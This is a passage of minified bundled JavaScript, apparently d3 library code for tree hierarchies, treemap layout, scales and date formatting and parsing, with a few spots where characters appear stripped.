t=Math.abs(t),e=Math.abs(e)-t,Math.max(0,bl(e)-bl(t))+1}var dY=N(()=>{"use strict";Rv();o(L5,"default")});var iD=N(()=>{"use strict";uY();K_();hY();fY();dY()});var pY=N(()=>{"use strict"});function jSe(t){var e=0,r=t.children,n=r&&r.length;if(!n)e=1;else for(;--n>=0;)e+=r[n].value;t.value=e}function aD(){return this.eachAfter(jSe)}var mY=N(()=>{"use strict";o(jSe,"count");o(aD,"default")});function sD(t,e){let r=-1;for(let n of this)t.call(e,n,++r,this);return this}var gY=N(()=>{"use strict";o(sD,"default")});function oD(t,e){for(var r=this,n=[r],i,a,s=-1;r=n.pop();)if(t.call(e,r,++s,this),i=r.children)for(a=i.length-1;a>=0;--a)n.push(i[a]);return this}var yY=N(()=>{"use strict";o(oD,"default")});function lD(t,e){for(var r=this,n=[r],i=[],a,s,l,u=-1;r=n.pop();)if(i.push(r),a=r.children)for(s=0,l=a.length;s{"use strict";o(lD,"default")});function cD(t,e){let r=-1;for(let n of this)if(t.call(e,n,++r,this))return n}var xY=N(()=>{"use strict";o(cD,"default")});function uD(t){return this.eachAfter(function(e){for(var r=+t(e.data)||0,n=e.children,i=n&&n.length;--i>=0;)r+=n[i].value;e.value=r})}var bY=N(()=>{"use strict";o(uD,"default")});function hD(t){return this.eachBefore(function(e){e.children&&e.children.sort(t)})}var TY=N(()=>{"use strict";o(hD,"default")});function fD(t){for(var e=this,r=KSe(e,t),n=[e];e!==r;)e=e.parent,n.push(e);for(var i=n.length;t!==r;)n.splice(i,0,t),t=t.parent;return n}function KSe(t,e){if(t===e)return t;var r=t.ancestors(),n=e.ancestors(),i=null;for(t=r.pop(),e=n.pop();t===e;)i=t,t=r.pop(),e=n.pop();return i}var wY=N(()=>{"use strict";o(fD,"default");o(KSe,"leastCommonAncestor")});function dD(){for(var t=this,e=[t];t=t.parent;)e.push(t);return e}var kY=N(()=>{"use strict";o(dD,"default")});function pD(){return Array.from(this)}var EY=N(()=>{"use strict";o(pD,"default")});function mD(){var t=[];return this.eachBefore(function(e){e.children||t.push(e)}),t}var SY=N(()=>{"use strict";o(mD,"default")});function gD(){var t=this,e=[];return t.each(function(r){r!==t&&e.push({source:r.parent,target:r})}),e}var CY=N(()=>{"use strict";o(gD,"default")});function*yD(){var t=this,e,r=[t],n,i,a;do for(e=r.reverse(),r=[];t=e.pop();)if(yield t,n=t.children)for(i=0,a=n.length;i{"use strict";o(yD,"default")});function U0(t,e){t instanceof Map?(t=[void 0,t],e===void 0&&(e=JSe)):e===void 0&&(e=ZSe);for(var r=new Nv(t),n,i=[r],a,s,l,u;n=i.pop();)if((s=e(n.data))&&(u=(s=Array.from(s)).length))for(n.children=s,l=u-1;l>=0;--l)i.push(a=s[l]=new Nv(s[l])),a.parent=n,a.depth=n.depth+1;return r.eachBefore(t6e)}function QSe(){return U0(this).eachBefore(e6e)}function ZSe(t){return t.children}function JSe(t){return Array.isArray(t)?t[1]:null}function e6e(t){t.data.value!==void 0&&(t.value=t.data.value),t.data=t.data.data}function t6e(t){var e=0;do t.height=e;while((t=t.parent)&&t.height<++e)}function Nv(t){this.data=t,this.depth=this.height=0,this.parent=null}var _Y=N(()=>{"use strict";mY();gY();yY();vY();xY();bY();TY();wY();kY();EY();SY();CY();AY();o(U0,"hierarchy");o(QSe,"node_copy");o(ZSe,"objectChildren");o(JSe,"mapChildren");o(e6e,"copyData");o(t6e,"computeHeight");o(Nv,"Node");Nv.prototype=U0.prototype={constructor:Nv,count:aD,each:sD,eachAfter:lD,eachBefore:oD,find:cD,sum:uD,sort:hD,path:fD,ancestors:dD,descendants:pD,leaves:mD,links:gD,copy:QSe,[Symbol.iterator]:yD}});function DY(t){if(typeof t!="function")throw new Error;return t}var LY=N(()=>{"use strict";o(DY,"required")});function H0(){return 0}function Ld(t){return function(){return t}}var RY=N(()=>{"use strict";o(H0,"constantZero");o(Ld,"default")});function vD(t){t.x0=Math.round(t.x0),t.y0=Math.round(t.y0),t.x1=Math.round(t.x1),t.y1=Math.round(t.y1)}var NY=N(()=>{"use strict";o(vD,"default")});function xD(t,e,r,n,i){for(var a=t.children,s,l=-1,u=a.length,h=t.value&&(n-e)/t.value;++l{"use strict";o(xD,"default")});function bD(t,e,r,n,i){for(var a=t.children,s,l=-1,u=a.length,h=t.value&&(i-r)/t.value;++l{"use strict";o(bD,"default")});function n6e(t,e,r,n,i,a){for(var s=[],l=e.children,u,h,f=0,d=0,p=l.length,m,g,y=e.value,v,x,b,T,S,w,k;fb&&(b=h),k=v*v*w,T=Math.max(b/k,k/x),T>S){v-=h;break}S=T}s.push(u={value:v,dice:m{"use strict";MY();IY();r6e=(1+Math.sqrt(5))/2;o(n6e,"squarifyRatio");OY=o((function t(e){function r(n,i,a,s,l){n6e(e,n,i,a,s,l)}return o(r,"squarify"),r.ratio=function(n){return t((n=+n)>1?n:1)},r}),"custom")(r6e)});function R5(){var t=OY,e=!1,r=1,n=1,i=[0],a=H0,s=H0,l=H0,u=H0,h=H0;function f(p){return p.x0=p.y0=0,p.x1=r,p.y1=n,p.eachBefore(d),i=[0],e&&p.eachBefore(vD),p}o(f,"treemap");function d(p){var m=i[p.depth],g=p.x0+m,y=p.y0+m,v=p.x1-m,x=p.y1-m;v{"use strict";NY();PY();LY();RY();o(R5,"default")});var FY=N(()=>{"use strict";_Y();BY()});var $Y=N(()=>{"use strict"});var zY=N(()=>{"use strict"});function Mh(t,e){switch(arguments.length){case 0:break;case 1:this.range(t);break;default:this.range(e).domain(t);break}return this}var Mv=N(()=>{"use strict";o(Mh,"initRange")});function no(){var t=new D0,e=[],r=[],n=TD;function i(a){let s=t.get(a);if(s===void 0){if(n!==TD)return n;t.set(a,s=e.push(a)-1)}return r[s%r.length]}return o(i,"scale"),i.domain=function(a){if(!arguments.length)return e.slice();e=[],t=new D0;for(let s of a)t.has(s)||t.set(s,e.push(s)-1);return i},i.range=function(a){return arguments.length?(r=Array.from(a),i):r.slice()},i.unknown=function(a){return arguments.length?(n=a,i):n},i.copy=function(){return no(e,r).unknown(n)},Mh.apply(i,arguments),i}var TD,wD=N(()=>{"use strict";Ch();Mv();TD=Symbol("implicit");o(no,"ordinal")});function q0(){var t=no().unknown(void 0),e=t.domain,r=t.range,n=0,i=1,a,s,l=!1,u=0,h=0,f=.5;delete t.unknown;function d(){var p=e().length,m=i{"use strict";Ch();Mv();wD();o(q0,"band")});function kD(t){return function(){return t}}var VY=N(()=>{"use strict";o(kD,"constants")});function ED(t){return+t}var UY=N(()=>{"use strict";o(ED,"number")});function W0(t){return t}function SD(t,e){return(e-=t=+t)?function(r){return(r-t)/e}:kD(isNaN(e)?NaN:.5)}function i6e(t,e){var r;return t>e&&(r=t,t=e,e=r),function(n){return Math.max(t,Math.min(e,n))}}function a6e(t,e,r){var n=t[0],i=t[1],a=e[0],s=e[1];return i2?s6e:a6e,u=h=null,d}o(f,"rescale");function d(p){return p==null||isNaN(p=+p)?a:(u||(u=l(t.map(n),e,r)))(n(s(p)))}return o(d,"scale"),d.invert=function(p){return s(i((h||(h=l(e,t.map(n),Wi)))(p)))},d.domain=function(p){return arguments.length?(t=Array.from(p,ED),f()):t.slice()},d.range=function(p){return arguments.length?(e=Array.from(p),f()):e.slice()},d.rangeRound=function(p){return e=Array.from(p),r=l5,f()},d.clamp=function(p){return arguments.length?(s=p?!0:W0,f()):s!==W0},d.interpolate=function(p){return arguments.length?(r=p,f()):r},d.unknown=function(p){return arguments.length?(a=p,d):a},function(p,m){return n=p,i=m,f()}}function Iv(){return o6e()(W0,W0)}var HY,CD=N(()=>{"use strict";Ch();z0();VY();UY();HY=[0,1];o(W0,"identity");o(SD,"normalize");o(i6e,"clamper");o(a6e,"bimap");o(s6e,"polymap");o(N5,"copy");o(o6e,"transformer");o(Iv,"continuous")});function AD(t,e,r,n){var i=L0(t,e,r),a;switch(n=Nh(n??",f"),n.type){case"s":{var s=Math.max(Math.abs(t),Math.abs(e));return n.precision==null&&!isNaN(a=D5(i,s))&&(n.precision=a),A5(n,s)}case"":case"e":case"g":case"p":case"r":{n.precision==null&&!isNaN(a=L5(i,Math.max(Math.abs(t),Math.abs(e))))&&(n.precision=a-(n.type==="e"));break}case"f":case"%":{n.precision==null&&!isNaN(a=_5(i))&&(n.precision=a-(n.type==="%")*2);break}}return cc(n)}var qY=N(()=>{"use strict";Ch();iD();o(AD,"tickFormat")});function l6e(t){var e=t.domain;return t.ticks=function(r){var n=e();return q3(n[0],n[n.length-1],r??10)},t.tickFormat=function(r,n){var i=e();return AD(i[0],i[i.length-1],r??10,n)},t.nice=function(r){r==null&&(r=10);var n=e(),i=0,a=n.length-1,s=n[i],l=n[a],u,h,f=10;for(l0;){if(h=lv(s,l,r),h===u)return n[i]=s,n[a]=l,e(n);if(h>0)s=Math.floor(s/h)*h,l=Math.ceil(l/h)*h;else if(h<0)s=Math.ceil(s*h)/h,l=Math.floor(l*h)/h;else break;u=h}return t},t}function Tl(){var t=Iv();return t.copy=function(){return N5(t,Tl())},Mh.apply(t,arguments),l6e(t)}var WY=N(()=>{"use strict";Ch();CD();Mv();qY();o(l6e,"linearish");o(Tl,"linear")});function _D(t,e){t=t.slice();var r=0,n=t.length-1,i=t[r],a=t[n],s;return a{"use strict";o(_D,"nice")});function En(t,e,r,n){function i(a){return t(a=arguments.length===0?new Date:new Date(+a)),a}return o(i,"interval"),i.floor=a=>(t(a=new Date(+a)),a),i.ceil=a=>(t(a=new Date(a-1)),e(a,1),t(a),a),i.round=a=>{let s=i(a),l=i.ceil(a);return a-s(e(a=new Date(+a),s==null?1:Math.floor(s)),a),i.range=(a,s,l)=>{let u=[];if(a=i.ceil(a),l=l==null?1:Math.floor(l),!(a0))return u;let h;do u.push(h=new Date(+a)),e(a,l),t(a);while(hEn(s=>{if(s>=s)for(;t(s),!a(s);)s.setTime(s-1)},(s,l)=>{if(s>=s)if(l<0)for(;++l<=0;)for(;e(s,-1),!a(s););else for(;--l>=0;)for(;e(s,1),!a(s););}),r&&(i.count=(a,s)=>(DD.setTime(+a),LD.setTime(+s),t(DD),t(LD),Math.floor(r(DD,LD))),i.every=a=>(a=Math.floor(a),!isFinite(a)||!(a>0)?null:a>1?i.filter(n?s=>n(s)%a===0:s=>i.count(0,s)%a===0):i)),i}var DD,LD,wu=N(()=>{"use strict";DD=new Date,LD=new Date;o(En,"timeInterval")});var uc,XY,RD=N(()=>{"use strict";wu();uc=En(()=>{},(t,e)=>{t.setTime(+t+e)},(t,e)=>e-t);uc.every=t=>(t=Math.floor(t),!isFinite(t)||!(t>0)?null:t>1?En(e=>{e.setTime(Math.floor(e/t)*t)},(e,r)=>{e.setTime(+e+r*t)},(e,r)=>(r-e)/t):uc);XY=uc.range});var io,jY,ND=N(()=>{"use strict";wu();io=En(t=>{t.setTime(t-t.getMilliseconds())},(t,e)=>{t.setTime(+t+e*1e3)},(t,e)=>(e-t)/1e3,t=>t.getUTCSeconds()),jY=io.range});var ku,c6e,M5,u6e,MD=N(()=>{"use strict";wu();ku=En(t=>{t.setTime(t-t.getMilliseconds()-t.getSeconds()*1e3)},(t,e)=>{t.setTime(+t+e*6e4)},(t,e)=>(e-t)/6e4,t=>t.getMinutes()),c6e=ku.range,M5=En(t=>{t.setUTCSeconds(0,0)},(t,e)=>{t.setTime(+t+e*6e4)},(t,e)=>(e-t)/6e4,t=>t.getUTCMinutes()),u6e=M5.range});var Eu,h6e,I5,f6e,ID=N(()=>{"use strict";wu();Eu=En(t=>{t.setTime(t-t.getMilliseconds()-t.getSeconds()*1e3-t.getMinutes()*6e4)},(t,e)=>{t.setTime(+t+e*36e5)},(t,e)=>(e-t)/36e5,t=>t.getHours()),h6e=Eu.range,I5=En(t=>{t.setUTCMinutes(0,0,0)},(t,e)=>{t.setTime(+t+e*36e5)},(t,e)=>(e-t)/36e5,t=>t.getUTCHours()),f6e=I5.range});var Ro,d6e,Pv,p6e,O5,m6e,OD=N(()=>{"use strict";wu();Ro=En(t=>t.setHours(0,0,0,0),(t,e)=>t.setDate(t.getDate()+e),(t,e)=>(e-t-(e.getTimezoneOffset()-t.getTimezoneOffset())*6e4)/864e5,t=>t.getDate()-1),d6e=Ro.range,Pv=En(t=>{t.setUTCHours(0,0,0,0)},(t,e)=>{t.setUTCDate(t.getUTCDate()+e)},(t,e)=>(e-t)/864e5,t=>t.getUTCDate()-1),p6e=Pv.range,O5=En(t=>{t.setUTCHours(0,0,0,0)},(t,e)=>{t.setUTCDate(t.getUTCDate()+e)},(t,e)=>(e-t)/864e5,t=>Math.floor(t/864e5)),m6e=O5.range});function Md(t){return En(e=>{e.setDate(e.getDate()-(e.getDay()+7-t)%7),e.setHours(0,0,0,0)},(e,r)=>{e.setDate(e.getDate()+r*7)},(e,r)=>(r-e-(r.getTimezoneOffset()-e.getTimezoneOffset())*6e4)/6048e5)}function Id(t){return En(e=>{e.setUTCDate(e.getUTCDate()-(e.getUTCDay()+7-t)%7),e.setUTCHours(0,0,0,0)},(e,r)=>{e.setUTCDate(e.getUTCDate()+r*7)},(e,r)=>(r-e)/6048e5)}var wl,Ih,P5,B5,fc,F5,$5,QY,g6e,y6e,v6e,x6e,b6e,T6e,Od,Y0,ZY,JY,Oh,eX,tX,rX,w6e,k6e,E6e,S6e,C6e,A6e,PD=N(()=>{"use strict";wu();o(Md,"timeWeekday");wl=Md(0),Ih=Md(1),P5=Md(2),B5=Md(3),fc=Md(4),F5=Md(5),$5=Md(6),QY=wl.range,g6e=Ih.range,y6e=P5.range,v6e=B5.range,x6e=fc.range,b6e=F5.range,T6e=$5.range;o(Id,"utcWeekday");Od=Id(0),Y0=Id(1),ZY=Id(2),JY=Id(3),Oh=Id(4),eX=Id(5),tX=Id(6),rX=Od.range,w6e=Y0.range,k6e=ZY.range,E6e=JY.range,S6e=Oh.range,C6e=eX.range,A6e=tX.range});var Su,_6e,z5,D6e,BD=N(()=>{"use strict";wu();Su=En(t=>{t.setDate(1),t.setHours(0,0,0,0)},(t,e)=>{t.setMonth(t.getMonth()+e)},(t,e)=>e.getMonth()-t.getMonth()+(e.getFullYear()-t.getFullYear())*12,t=>t.getMonth()),_6e=Su.range,z5=En(t=>{t.setUTCDate(1),t.setUTCHours(0,0,0,0)},(t,e)=>{t.setUTCMonth(t.getUTCMonth()+e)},(t,e)=>e.getUTCMonth()-t.getUTCMonth()+(e.getUTCFullYear()-t.getUTCFullYear())*12,t=>t.getUTCMonth()),D6e=z5.range});var ao,L6e,kl,R6e,FD=N(()=>{"use strict";wu();ao=En(t=>{t.setMonth(0,1),t.setHours(0,0,0,0)},(t,e)=>{t.setFullYear(t.getFullYear()+e)},(t,e)=>e.getFullYear()-t.getFullYear(),t=>t.getFullYear());ao.every=t=>!isFinite(t=Math.floor(t))||!(t>0)?null:En(e=>{e.setFullYear(Math.floor(e.getFullYear()/t)*t),e.setMonth(0,1),e.setHours(0,0,0,0)},(e,r)=>{e.setFullYear(e.getFullYear()+r*t)});L6e=ao.range,kl=En(t=>{t.setUTCMonth(0,1),t.setUTCHours(0,0,0,0)},(t,e)=>{t.setUTCFullYear(t.getUTCFullYear()+e)},(t,e)=>e.getUTCFullYear()-t.getUTCFullYear(),t=>t.getUTCFullYear());kl.every=t=>!isFinite(t=Math.floor(t))||!(t>0)?null:En(e=>{e.setUTCFullYear(Math.floor(e.getUTCFullYear()/t)*t),e.setUTCMonth(0,1),e.setUTCHours(0,0,0,0)},(e,r)=>{e.setUTCFullYear(e.getUTCFullYear()+r*t)});R6e=kl.range});function iX(t,e,r,n,i,a){let s=[[io,1,1e3],[io,5,5*1e3],[io,15,15*1e3],[io,30,30*1e3],[a,1,6e4],[a,5,5*6e4],[a,15,15*6e4],[a,30,30*6e4],[i,1,36e5],[i,3,3*36e5],[i,6,6*36e5],[i,12,12*36e5],[n,1,864e5],[n,2,2*864e5],[r,1,6048e5],[e,1,2592e6],[e,3,3*2592e6],[t,1,31536e6]];function l(h,f,d){let p=fv).right(s,p);if(m===s.length)return t.every(L0(h/31536e6,f/31536e6,d));if(m===0)return uc.every(Math.max(L0(h,f,d),1));let[g,y]=s[p/s[m-1][2]{"use strict";Ch();RD();ND();MD();ID();OD();PD();BD();FD();o(iX,"ticker");[M6e,I6e]=iX(kl,z5,Od,O5,I5,M5),[$D,zD]=iX(ao,Su,wl,Ro,Eu,ku)});var G5=N(()=>{"use strict";RD();ND();MD();ID();OD();PD();BD();FD();aX()});function GD(t){if(0<=t.y&&t.y<100){var e=new Date(-1,t.m,t.d,t.H,t.M,t.S,t.L);return e.setFullYear(t.y),e}return new Date(t.y,t.m,t.d,t.H,t.M,t.S,t.L)}function VD(t){if(0<=t.y&&t.y<100){var e=new Date(Date.UTC(-1,t.m,t.d,t.H,t.M,t.S,t.L));return e.setUTCFullYear(t.y),e}return new Date(Date.UTC(t.y,t.m,t.d,t.H,t.M,t.S,t.L))}function Bv(t,e,r){return{y:t,m:e,d:r,H:0,M:0,S:0,L:0}}function UD(t){var e=t.dateTime,r=t.date,n=t.time,i=t.periods,a=t.days,s=t.shortDays,l=t.months,u=t.shortMonths,h=Fv(i),f=$v(i),d=Fv(a),p=$v(a),m=Fv(s),g=$v(s),y=Fv(l),v=$v(l),x=Fv(u),b=$v(u),T={a:P,A:B,b:F,B:G,c:null,d:hX,e:hX,f:nCe,g:dCe,G:mCe,H:eCe,I:tCe,j:rCe,L:gX,m:iCe,M:aCe,p:$,q:U,Q:pX,s:mX,S:sCe,u:oCe,U:lCe,V:cCe,w:uCe,W:hCe,x:null,X:null,y:fCe,Y:pCe,Z:gCe,"%":dX},S={a:j,A:te,b:Y,B:oe,c:null,d:fX,e:fX,f:bCe,g:LCe,G:NCe,H:yCe,I:vCe,j:xCe,L:vX,m:TCe,M:wCe,p:J,q:ue,Q:pX,s:mX,S:kCe,u:ECe,U:SCe,V:CCe,w:ACe,W:_Ce,x:null,X:null,y:DCe,Y:RCe,Z:MCe,"%":dX},w={a:I,A:L,b:E,B:D,c:_,d:cX,e:cX,f:K6e,g:lX,G:oX,H:uX,I:uX,j:W6e,L:j6e,m:q6e,M:Y6e,p:R,q:H6e,Q:Z6e,s:J6e,S:X6e,u:$6e,U:z6e,V:G6e,w:F6e,W:V6e,x:O,X:M,y:lX,Y:oX,Z:U6e,"%":Q6e};T.x=k(r,T),T.X=k(n,T),T.c=k(e,T),S.x=k(r,S),S.X=k(n,S),S.c=k(e,S);function k(re,ee){return function(Z){var K=[],ae=-1,Q=0,de=re.length,ne,Te,q;for(Z instanceof Date||(Z=new Date(+Z));++ae53)return null;"w"in K||(K.w=1),"Z"in K?(Q=VD(Bv(K.y,0,1)),de=Q.getUTCDay(),Q=de>4||de===0?Y0.ceil(Q):Y0(Q),Q=Pv.offset(Q,(K.V-1)*7),K.y=Q.getUTCFullYear(),K.m=Q.getUTCMonth(),K.d=Q.getUTCDate()+(K.w+6)%7):(Q=GD(Bv(K.y,0,1)),de=Q.getDay(),Q=de>4||de===0?Ih.ceil(Q):Ih(Q),Q=Ro.offset(Q,(K.V-1)*7),K.y=Q.getFullYear(),K.m=Q.getMonth(),K.d=Q.getDate()+(K.w+6)%7)}else("W"in K||"U"in K)&&("w"in K||(K.w="u"in K?K.u%7:"W"in K?1:0),de="Z"in K?VD(Bv(K.y,0,1)).getUTCDay():GD(Bv(K.y,0,1)).getDay(),K.m=0,K.d="W"in K?(K.w+6)%7+K.W*7-(de+5)%7:K.w+K.U*7-(de+6)%7);return"Z"in K?(K.H+=K.Z/100|0,K.M+=K.Z%100,VD(K)):GD(K)}}o(A,"newParse");function C(re,ee,Z,K){for(var ae=0,Q=ee.length,de=Z.length,ne,Te;ae=de)return-1;if(ne=ee.charCodeAt(ae++),ne===37){if(ne=ee.charAt(ae++),Te=w[ne in sX?ee.charAt(ae++):ne],!Te||(K=Te(re,Z,K))<0)return-1}else if(ne!=Z.charCodeAt(K++))return-1}return K}o(C,"parseSpecifier");function R(re,ee,Z){var K=h.exec(ee.slice(Z));return K?(re.p=f.get(K[0].toLowerCase()),Z+K[0].length):-1}o(R,"parsePeriod");function I(re,ee,Z){var K=m.exec(ee.slice(Z));return K?(re.w=g.get(K[0].toLowerCase()),Z+K[0].length):-1}o(I,"parseShortWeekday");function L(re,ee,Z){var K=d.exec(ee.slice(Z));return K?(re.w=p.get(K[0].toLowerCase()),Z+K[0].length):-1}o(L,"parseWeekday");function E(re,ee,Z){var K=x.exec(ee.slice(Z));return K?(re.m=b.get(K[0].toLowerCase()),Z+K[0].length):-1}o(E,"parseShortMonth");function D(re,ee,Z){var K=y.exec(ee.slice(Z));return K?(re.m=v.get(K[0].toLowerCase()),Z+K[0].length):-1}o(D,"parseMonth");function _(re,ee,Z){return C(re,e,ee,Z)}o(_,"parseLocaleDateTime");function O(re,ee,Z){return C(re,r,ee,Z)}o(O,"parseLocaleDate");function M(re,ee,Z){return C(re,n,ee,Z)}o(M,"parseLocaleTime");function P(re){return s[re.getDay()]}o(P,"formatShortWeekday");function B(re){return a[re.getDay()]}o(B,"formatWeekday");function F(re){return u[re.getMonth()]}o(F,"formatShortMonth");function G(re){return l[re.getMonth()]}o(G,"formatMonth");function $(re){return i[+(re.getHours()>=12)]}o($,"formatPeriod");function U(re){return 1+~~(re.getMonth()/3)}o(U,"formatQuarter");function j(re){return s[re.getUTCDay()]}o(j,"formatUTCShortWeekday");function te(re){return a[re.getUTCDay()]}o(te,"formatUTCWeekday");function Y(re){return u[re.getUTCMonth()]}o(Y,"formatUTCShortMonth");function oe(re){return l[re.getUTCMonth()]}o(oe,"formatUTCMonth");function J(re){return i[+(re.getUTCHours()>=12)]}o(J,"formatUTCPeriod");function ue(re){return 1+~~(re.getUTCMonth()/3)}return o(ue,"formatUTCQuarter"),{format:o(function(re){var ee=k(re+="",T);return ee.toString=function(){return re},ee},"format"),parse:o(function(re){var ee=A(re+="",!1);return ee.toString=function(){return re},ee},"parse"),utcFormat:o(function(re){var ee=k(re+="",S);return ee.toString=function(){return re},ee},"utcFormat"),utcParse:o(function(re){var ee=A(re+="",!0);return ee.toString=function(){return re},ee},"utcParse")}}function Kr(t,e,r){var n=t<0?"-":"",i=(n?-t:t)+"",a=i.length;return n+(a[e.toLowerCase(),r]))}function F6e(t,e,r){var n=Yi.exec(e.slice(r,r+1));return n?(t.w=+n[0],r+n[0].length):-1}function $6e(t,e,r){var n=Yi.exec(e.slice(r,r+1));return n?(t.u=+n[0],r+n[0].length):-1}function z6e(t,e,r){var n=Yi.exec(e.slice(r,r+2));return n?(t.U=+n[0],r+n[0].length):-1}function G6e(t,e,r){var n=Yi.exec(e.slice(r,r+2));return n?(t.V=+n[0],r+n[0].length):-1}function V6e(t,e,r){var n=Yi.exec(e.slice(r,r+2));return n?(t.W=+n[0],r+n[0].length):-1}function oX(t,e,r){var n=Yi.exec(e.slice(r,r+4));return n?(t.y=+n[0],r+n[0].length):-1}function lX(t,e,r){var n=Yi.exec(e.slice(r,r+2));return n?(t.y=+n[0]+(+n[0]>68?1900:2e3),r+n[0].length):-1}function U6e(t,e,r){var n=/^(Z)|([+-]\d\d)(?::?(\d\d))?/.exec(e.slice(r,r+6));return n?(t.Z=n[1]?0:-(n[2]+(n[3]||"00")),r+n[0].length):-1}function H6e(t,e,r){var n=Yi.exec(e.slice(r,r+1));return n?(t.q=n[0]*3-3,r+n[0].length):-1}function q6e(t,e,r){var n=Yi.exec(e.slice(r,r+2));return n?(t.m=n[0]-1,r+n[0].length):-1}function cX(t,e,r){var n=Yi.exec(e.slice(r,r+2));return n?(t.d=+n[0],r+n[0].length):-1}function W6e(t,e,r){var n=Yi.exec(e.slice(r,r+3));return n?(t.m=0,t.d=+n[0],r+n[0].length):-1}function uX(t,e,r){var n=Yi.exec(e.slice(r,r+2));return n?(t.H=+n[0],r+n[0].length):-1}function Y6e(t,e,r){var n=Yi.exec(e.slice(r,r+2));return n?(t.M=+n[0],r+n[0].length):-1}function X6e(t,e,r){var n=Yi.exec(e.slice(r,r+2));return n?(t.S=+n[0],r+n[0].length):-1}function j6e(t,e,r){var n=Yi.exec(e.slice(r,r+3));return n?(t.L=+n[0],r+n[0].length):-1}function K6e(t,e,r){var n=Yi.exec(e.slice(r,r+6));return n?(t.L=Math.floor(n[0]/1e3),r+n[0].length):-1}function Q6e(t,e,r){var n=O6e.exec(e.slice(r,r+1));return n?r+n[0].length:-1}function Z6e(t,e,r){var n=Yi.exec(e.slice(r));return n?(t.Q=+n[0],r+n[0].length):-1}function J6e(t,e,r){var n=Yi.exec(e.slice(r));return n?(t.s=+n[0],r+n[0].length):-1}function hX(t,e){return Kr(t.getDate(),e,2)}function eCe(t,e){return Kr(t.getHours(),e,2)}function tCe(t,e){return Kr(t.getHours()%12||12,e,2)}function rCe(t,e){return Kr(1+Ro.count(ao(t),t),e,3)}function gX(t,e){return Kr(t.getMilliseconds(),e,3)}function nCe(t,e){return gX(t,e)+"000"}function iCe(t,e){return Kr(t.getMonth()+1,e,2)}function aCe(t,e){return Kr(t.getMinutes(),e,2)}function sCe(t,e){return Kr(t.getSeconds(),e,2)}function oCe(t){var e=t.getDay();return e===0?7:e}function lCe(t,e){return Kr(wl.count(ao(t)-1,t),e,2)}function yX(t){var e=t.getDay();return e>=4||e===0?fc(t):fc.ceil(t)}function cCe(t,e){return t=yX(t),Kr(fc.count(ao(t),t)+(ao(t).getDay()===4),e,2)}function uCe(t){return t.getDay()}function hCe(t,e){return Kr(Ih.count(ao(t)-1,t),e,2)}function fCe(t,e){return Kr(t.getFullYear()%100,e,2)}function dCe(t,e){return t=yX(t),Kr(t.getFullYear()%100,e,2)}function pCe(t,e){return Kr(t.getFullYear()%1e4,e,4)}function mCe(t,e){var r=t.getDay();return t=r>=4||r===0?fc(t):fc.ceil(t),Kr(t.getFullYear()%1e4,e,4)}function gCe(t){var e=t.getTimezoneOffset();return(e>0?"-":(e*=-1,"+"))+Kr(e/60|0,"0",2)+Kr(e%60,"0",2)}function fX(t,e){return Kr(t.getUTCDate(),e,2)}function yCe(t,e){return Kr(t.getUTCHours(),e,2)}function vCe(t,e){return Kr(t.getUTCHours()%12||12,e,2)}function xCe(t,e){return Kr(1+Pv.count(kl(t),t),e,3)}function vX(t,e){return Kr(t.getUTCMilliseconds(),e,3)}function bCe(t,e){return vX(t,e)+"000"}function TCe(t,e){return Kr(t.getUTCMonth()+1,e,2)}function wCe(t,e){return Kr(t.getUTCMinutes(),e,2)}function kCe(t,e){return Kr(t.getUTCSeconds(),e,2)}function ECe(t){var e=t.getUTCDay();return e===0?7:e}function SCe(t,e){return Kr(Od.count(kl(t)-1,t),e,2)}function xX(t){var e=t.getUTCDay();return e>=4||e===0?Oh(t):Oh.ceil(t)}function CCe(t,e){return t=xX(t),Kr(Oh.count(kl(t),t)+(kl(t).getUTCDay()===4),e,2)}function ACe(t){return t.getUTCDay()}function _Ce(t,e){return Kr(Y0.count(kl(t)-1,t),e,2)}function DCe(t,e){return Kr(t.getUTCFullYear()%100,e,2)}function LCe(t,e){return t=xX(t),Kr(t.getUTCFullYear()%100,e,2)}function RCe(t,e){return Kr(t.getUTCFullYear()%1e4,e,4)}function NCe(t,e){var r=t.getUTCDay();return t=r>=4||r===0?Oh(t):Oh.ceil(t),Kr(t.getUTCFullYear()%1e4,e,4)}function MCe(){return"+0000"}function dX(){return"%"}function pX(t){return+t}function mX(t){return Math.floor(+t/1e3)}var sX,Yi,O6e,P6e,bX=N(()=>{"use strict";G5();o(GD,"localDate");o(VD,"utcDate");o(Bv,"newDate");o(UD,"formatLocale");sX={"-":"",_:" ",0:"0"},Yi=/^\s*\d+/,O6e=/^%/,P6e=/[\\^$*+?|[\]().{}]/g;o(Kr,"pad");o(B6e,"requote");o(Fv,"formatRe");o($v,"formatLookup");o(F6e,"parseWeekdayNumberSunday");o($6e,"parseWeekdayNumberMonday");o(z6e,"parseWeekNumberSunday");o(G6e,"parseWeekNumberISO");o(V6e,"parseWeekNumberMonday");o(oX,"parseFullYear");o(lX,"parseYear");o(U6e,"parseZone");o(H6e,"parseQuarter");o(q6e,"parseMonthNumber");o(cX,"parseDayOfMonth");o(W6e,"parseDayOfYear");o(uX,"parseHour24");o(Y6e,"parseMinutes");o(X6e,"parseSeconds");o(j6e,"parseMilliseconds");o(K6e,"parseMicroseconds");o(Q6e,"parseLiteralPercent");o(Z6e,"parseUnixTimestamp");o(J6e,"parseUnixTimestampSeconds");o(hX,"formatDayOfMonth");o(eCe,"formatHour24");o(tCe,"formatHour12");o(rCe,"formatDayOfYear");o(gX,"formatMilliseconds");o(nCe,"formatMicroseconds");o(iCe,"formatMonthNumber");o(aCe,"formatMinutes");o(sCe,"formatSeconds");o(oCe,"formatWeekdayNumberMonday");o(lCe,"formatWeekNumberSunday");o(yX,"dISO");o(cCe,"formatWeekNumberISO");o(uCe,"formatWeekdayNumberSunday");o(hCe,"formatWeekNumberMonday");o(fCe,"formatYear");o(dCe,"formatYearISO");o(pCe,"formatFullYear");o(mCe,"formatFullYearISO");o(gCe,"formatZone");o(fX,"formatUTCDayOfMonth");o(yCe,"formatUTCHour24");o(vCe,"formatUTCHour12");o(xCe,"formatUTCDayOfYear");o(vX,"formatUTCMilliseconds");o(bCe,"formatUTCMicroseconds");o(TCe,"formatUTCMonthNumber");o(wCe,"formatUTCMinutes");o(kCe,"formatUTCSeconds");o(ECe,"formatUTCWeekdayNumberMonday");o(SCe,"formatUTCWeekNumberSunday");o(xX,"UTCdISO");o(CCe,"formatUTCWeekNumberISO");o(ACe,"formatUTCWeekdayNumberSunday");o(_Ce,"formatUTCWeekNumberMonday");o(DCe,"formatUTCYear");o(LCe,"formatUTCYearISO");o(RCe,"formatUTCFullYear");o(NCe,"formatUTCFullYearISO");o(MCe,"formatUTCZone");o(dX,"for